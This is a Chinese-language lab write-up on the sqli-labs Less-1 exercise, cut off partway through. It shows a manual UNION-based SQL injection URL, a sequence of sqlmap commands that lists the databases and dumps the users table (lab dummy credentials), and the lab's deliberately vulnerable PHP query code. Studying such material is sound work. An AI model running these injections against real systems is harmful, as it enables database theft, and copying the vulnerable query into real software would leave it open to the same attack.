sqlib
环境搭建
本来想用阿里云搭建的,然后续费了一年,发觉阿里的那个防御有点烦,注入下被检测到就ban ip,搞得我都没法测试,最后就用docker搭建了
docker pull acgpiano/sqli-labs
docker run -dt --name sqli-labs -p 4005:80 --rm acgpiano/sqli-labs
sqli-labs1
拿到这个网站,不知道要干嘛。。。输入?id=1后便开始注入之旅
注入数据库名
http://43.247.91.228:84/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
emails
referers
uagents
users
拿到数据库名,
注入表名
users: id,email_id
emails: id,email_id
uagents:id,uagent,ip_address,username
referers: id,referer,ip_address
注入列名
id,username,password
表
http://43.247.91.228:84/Less-1/
这里遍历1,2,3遍历下去就可以拿到所有用户名和密码了
sqlmap注入
sqlmap -u "http://43.247.91.228:84/Less-1/?id=0" -p id --dbs
数据库名
[] challenges
[] information_schema
[] mysql
[] performance_schema
[*] security
sqlmap -u "http://43.247.91.228:84/Less-1/?id=0" -p id -D security --tables
表名
±---------+
| emails |
| referers |
| uagents |
| users |
±---------+
sqlmap -u "http://43.247.91.228:84/Less-1/?id=0" -p id -D security -T users --columns
列名
±---------±------------+
| Column | Type |
±---------±------------+
| id | int(3) |
| password | varchar(20) |
| username | varchar(20) |
±---------±------------+
sqlmap -u "http://43.247.91.228:84/Less-1/?id=0" -p id -D security -T users --columns -C username,password --dump
dump数据库
±---------±-----------+
| username | password |
±---------±-----------+
| Dumb | Dumb |
| Angelina | I-kill-you |
| Dummy | p@ssword |
| secure | crappy |
| stupid | stupidity |
| superman | genious |
| batman | mob!le |
| admin | admin |
| admin1 | admin1 |
| admin2 | admin2 |
| admin3 | admin3 |
| dhakkan | dumbo |
| admin4 | admin4 |
±---------±-----------+
sqlmap -u "http://43.247.91.228:84/Less-1/?id=0" -p id -D security -a
dump所有该库里的所有表
mysql学习
show databases; #查看数据库
use database #选择数据库
select table_name from information_schema.tables where table_schema=database(); #查看数据库中表
select column_name from information_schema.columns where table_name='user'; #查看数据库中列名
select User,Password from user; #查询数据
问题
–+ 以及-- 以及#注释方法有何不同,在这里只有–+合适,这是为什么
解决:
- #号用urlencode一次就可以
- – 将空格用urlencode一次
- –+ 直接就可以
原因:
- http请求不包括#号
- url中末尾包含空格不会发送空格,需转义
- +号在保留字符内,会被编码成空格
源码学习
注意到,这里是直接
s q l = " S E L E C T ∗ F R O M u s e r s W H E R E i d = ′ sql="SELECT * FROM users WHERE id=' sql="SELECT∗FROMusersWHEREid=′id’ LIMIT 0,1";
然后直接查询,导致了sql注入,还有这里是字符型
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else